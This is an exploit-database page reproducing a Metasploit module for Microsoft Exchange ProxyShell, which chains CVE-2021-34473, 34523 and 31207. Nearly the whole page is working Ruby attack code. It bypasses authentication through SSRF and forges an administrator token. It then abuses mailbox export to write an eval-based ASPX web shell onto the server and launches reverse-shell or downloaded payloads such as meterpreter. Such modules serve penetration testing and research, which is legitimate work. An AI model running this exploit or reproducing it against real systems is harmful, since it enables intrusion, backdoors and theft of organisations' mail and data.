Microsoft Exchange ProxyShell Remote Code Execution
CVE
Category
Price
Severity
CVE-2021-31207
CWE-74
Not disclosed
Critical
Author
Risk
Exploitation Type
Date
Orange Tsai, Marcus Hutchins
High
Remote
2021-08-21
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080087 Below is a copy:
Microsoft Exchange ProxyShell Remote Code Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'winrm'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyShell RCE',
'Description' => %q{
This module exploit a vulnerability on Microsoft Exchange Server that
allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an
arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
the RCE (Remote Code Execution).
By taking advantage of this vulnerability, you can execute arbitrary
commands on the remote Microsoft Exchange Server.
This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.
All components are vulnerable by default.
},
'Author' => [
'Orange Tsai', # Discovery
'Jang (@testanull)', # Vulnerability analysis
'PeterJson', # Vulnerability analysis
'brandonshi123', # Vulnerability analysis
'mekhalleh (RAMELLA Sbastien)', # exchange_proxylogon_rce template
'Spencer McIntyre', # Metasploit module
'wvu' # Testing
],
'References' => [
[ 'CVE', '2021-34473' ],
[ 'CVE', '2021-34523' ],
[ 'CVE', '2021-31207' ],
[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],
[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],
[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ]
],
'DisclosureDate' => '2021-04-06', # pwn2own 2021
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Platform' => ['windows'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Windows Powershell',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_powershell,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_dropper,
'CmdStagerFlavor' => %i[psh_invokewebrequest],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
}
}
],
[
'Windows Command',
{
'Platform' => 'windows',
'Arch' => [ARCH_CMD],
'Type' => :windows_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'AKA' => ['ProxyShell'],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('EMAIL', [true, 'A known email address for this organization']),
OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),
])
register_advanced_options([
OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),
OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])
])
end
def check
@ssrf_email ||= Faker::Internet.email
res = send_http('GET', '/mapi/nspi/')
return CheckCode::Unknown if res.nil?
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'
CheckCode::Vulnerable
end
def cmd_windows_generic?
datastore['PAYLOAD'] == 'cmd/windows/generic'
end
def encode_cmd(cmd)
cmd.gsub!('\\', '\\\\\\')
cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
end
def random_mapi_id
id = "{#{Rex::Text.rand_text_hex(8)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
id.upcase
end
def request_autodiscover(_server_name)
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
response = send_http(
'POST',
'/autodiscover/autodiscover.xml',
data: soap_autodiscover,
ctype: 'text/xml; charset=utf-8'
)
case response.body
when %r{<ErrorCode>500</ErrorCode>}
fail_with(Failure::NotFound, 'No Autodiscover information was found')
when %r{<Action>redirectAddr</Action>}
fail_with(Failure::NotFound, 'No email address was found')
end
xml = Nokogiri::XML.parse(response.body)
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?
server = ''
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
type = item.at_xpath('./xmlns:Type', xmlns)&.content
if type == 'EXCH'
server = item.at_xpath('./xmlns:Server', xmlns)&.content
end
end
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
{ server: server, legacy_dn: legacy_dn }
end
def request_fqdn
ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
received = send_request_raw(
'method' => 'RPC_IN_DATA',
'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
'headers' => {
'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
}
)
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
hash = received['WWW-Authenticate'].split('NTLM ')[1]
message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]
return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
end
fail_with(Failure::NotFound, 'No Backend server was found')
end
# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
def request_mapi(_server_name, legacy_dn)
data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
headers = {
'X-RequestType' => 'Connect',
'X-ClientInfo' => random_mapi_id,
'X-ClientApplication' => datastore['MapiClientApp'],
'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
}
sid = ''
response = send_http(
'POST',
'/mapi/emsmdb',
data: data,
ctype: 'application/mapi-http',
headers: headers
)
if response&.code == 200
sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s
end
fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?
sid
end
# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
def run_cve_2021_34473
if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?
server_name = datastore['BackendServerName']
print_status("Internal server name forced to: #{server_name}")
else
print_status('Retrieving backend FQDN over RPC request')
server_name = request_fqdn
print_status("Internal server name: #{server_name}")
end
@backend_server_name = server_name
# get information via an autodiscover request.
print_status('Sending autodiscover request')
autodiscover = request_autodiscover(server_name)
print_status("Server: #{autodiscover[:server]}")
print_status("LegacyDN: #{autodiscover[:legacy_dn]}")
# get the user UID using mapi request.
print_status('Sending mapi request')
mailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn])
print_status("SID: #{mailbox_user_sid} (#{datastore['EMAIL']})")
send_payload(mailbox_user_sid)
@common_access_token = build_token(mailbox_user_sid)
end
def send_http(method, uri, opts = {})
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
unless opts[:cookie] == :none
opts[:cookie] = "Email=#{ssrf}"
end
request = {
'method' => method,
'uri' => "/#{ssrf}#{uri}",
'agent' => datastore['UserAgent'],
'ctype' => opts[:ctype],
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
}
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
received = send_request_cgi(request)
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
received
end
def send_payload(user_sid)
@shell_input_name = rand_text_alphanumeric(8..12)
@draft_subject = rand_text_alphanumeric(8..12)
payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))
file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"
envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)
send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
end
def soap_autodiscover
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
SOAP
end
def web_directory
if datastore['UseAlternatePath']
datastore['IISWritePath'].gsub('\\', '/')
else
datastore['ExchangeWritePath'].gsub('\\', '/')
end
end
def build_token(sid)
uint8_tlv = proc do |type, value|
type + [value.length].pack('C') + value
end
token = uint8_tlv.call('V', "\x00")
token << uint8_tlv.call('T', 'Windows')
token << "\x43\x00"
token << uint8_tlv.call('A', 'Kerberos')
token << uint8_tlv.call('L', datastore['EMAIL'])
token << uint8_tlv.call('U', sid)
# group data for S-1-5-32-544
token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"
Rex::Text.encode_base64(token)
end
def execute_powershell(cmdlet, args: [])
winrm = SSRFWinRMConnection.new({
endpoint: full_uri('PowerShell/'),
transport: :ssrf,
ssrf_proc: proc do |method, uri, opts|
uri = "#{uri}?X-Rps-CAT=#{@common_access_token}"
uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"
opts[:cookie] = :none
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
)
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
)
send_http(method, uri, opts)
end
})
winrm.shell(:powershell) do |shell|
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
shell.extend(SSRFWinRMConnection::PowerShell)
shell.run({ cmdlet: cmdlet, args: args })
end
end
def exploit
@ssrf_email ||= Faker::Internet.email
print_status('Attempt to exploit for CVE-2021-34473')
run_cve_2021_34473
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200
print_status('Assigning the \'Mailbox Import Export\' role')
execute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ])
@shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"
if datastore['UseAlternatePath']
unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
else
unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
end
normal_path = unc_path.gsub(/^\\+127\.0\.0\.1\\(.)\$\\/, '\1:\\')
print_status("Writing to: #{normal_path}")
register_file_for_cleanup(normal_path)
@export_name = rand_text_alphanumeric(8..12)
execute_powershell('New-MailboxExportRequest', args: [
{ name: '-Name', value: @export_name },
{ name: '-Mailbox', value: datastore['EMAIL'] },
{ name: '-IncludeFolders', value: '#Drafts#' },
{ name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },
{ name: '-ExcludeDumpster' },
{ name: '-FilePath', value: unc_path }
])
print_status('Waiting for the export request to complete...')
30.times do
if execute_command('whoami')&.code == 200
print_good('The mailbox export request has completed')
break
end
sleep 5
end
print_status('Triggering the payload')
case target['Type']
when :windows_command
vprint_status("Generated payload: #{payload.encoded}")
if !cmd_windows_generic?
execute_command(payload.encoded)
else
boundary = rand_text_alphanumeric(8..12)
response = execute_command("cmd /c echo START#{boundary}{payload.encoded}&echo END#{boundary}")
print_warning('Dumping command output in response')
if response.body =~ /START#{boundary}(.*)END#{boundary}/m
print_line(Regexp.last_match(1).strip)
else
print_error('Empty response, no command output')
end
end
when :windows_dropper
execute_command(generate_cmdstager(concat_operator: ';').join)
when :windows_powershell
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
execute_command(cmd)
end
end
def cleanup
super
return unless @common_access_token && @export_name
print_status('Removing the mailbox export request')
execute_powershell('Remove-MailboxExportRequest', args: [
{ name: '-Identity', value: "#{datastore['EMAIL']}\\#{@export_name}" },
{ name: '-Confirm', value: false }
])
end
def execute_command(cmd, _opts = {})
if !cmd_windows_generic?
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"
else
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
end
send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(web_directory, @shell_filename),
'ctype' => 'application/x-www-form-urlencoded',
'data' => "#{@shell_input_name}=#{cmd}"
)
end
end
class PstEncoding
ENCODE_TABLE = [
71, 241, 180, 230, 11, 106, 114, 72,
133, 78, 158, 235, 226, 248, 148, 83,
224, 187, 160, 2, 232, 90, 9, 171,
219, 227, 186, 198, 124, 195, 16, 221,
57, 5, 150, 48, 245, 55, 96, 130,
140, 201, 19, 74, 107, 29, 243, 251,
143, 38, 151, 202, 145, 23, 1, 196,
50, 45, 110, 49, 149, 255, 217, 35,
209, 0, 94, 121, 220, 68, 59, 26,
40, 197, 97, 87, 32, 144, 61, 131,
185, 67, 190, 103, 210, 70, 66, 118,
192, 109, 91, 126, 178, 15, 22, 41,
60, 169, 3, 84, 13, 218, 93, 223,
246, 183, 199, 98, 205, 141, 6, 211,
105, 92, 134, 214, 20, 247, 165, 102,
117, 172, 177, 233, 69, 33, 112, 12,
135, 159, 116, 164, 34, 76, 111, 191,
31, 86, 170, 46, 179, 120, 51, 80,
176, 163, 146, 188, 207, 25, 28, 167,
99, 203, 30, 77, 62, 75, 27, 155,
79, 231, 240, 238, 173, 58, 181, 89,
4, 234, 64, 85, 37, 81, 229, 122,
137, 56, 104, 82, 123, 252, 39, 174,
215, 189, 250, 7, 244, 204, 142, 95,
239, 53, 156, 132, 43, 21, 213, 119,
52, 73, 182, 18, 10, 127, 113, 136,
253, 157, 24, 65, 125, 147, 216, 88,
44, 206, 254, 36, 175, 222, 184, 54,
200, 161, 128, 166, 153, 152, 168, 47,
14, 129, 101, 115, 228, 194, 162, 138,
212, 225, 17, 208, 8, 139, 42, 242,
237, 154, 100, 63, 193, 108, 249, 236
].freeze
def self.encode(data)
encoded = ''
data.each_char do |char|
encoded << ENCODE_TABLE[char.ord].chr
end
encoded
end
end
class XMLTemplate
def self.render(template_name, context = nil)
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")
template = ::File.binread(file_path)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
else
raise ArgumentError
end
b.eval(Erubi::Engine.new(template).src)
end
end
class SSRFWinRMConnection < WinRM::Connection
class MessageFactory < WinRM::PSRP::MessageFactory
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
WinRM::PSRP::Message.new(
runspace_pool_id,
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
pipeline_id
)
end
end
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
# vulnerability
class TransportFactory < WinRM::HTTP::TransportFactory
class HttpSsrf < WinRM::HTTP::HttpTransport
# rubocop:disable Lint/
def initialize(endpoint, options)
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
@ssrf_proc = options[:ssrf_proc]
end
def send_request(message)
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
end
end
def create_transport(connection_opts)
raise NotImplementedError unless connection_opts[:transport] == :ssrf
super
end
private
def init_ssrf_transport(opts)
HttpSsrf.new(opts[:endpoint], opts)
end
end
module PowerShell
def send_command(command, _arguments)
command_id = SecureRandom.uuid.to_s.upcase
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
fragmenter.fragment(message) do |fragment|
command_args = [connection_opts, shell_id, command_id, fragment]
if fragment.start_fragment
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
else
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
end
end
command_id
end
end
def initialize(connection_opts)
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
connection_opts.merge!({ user: :ssrf, password: :ssrf })
super(connection_opts)
end
def transport
@transport ||= begin
transport_factory = TransportFactory.new
transport_factory.create_transport(@connection_opts)
end
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum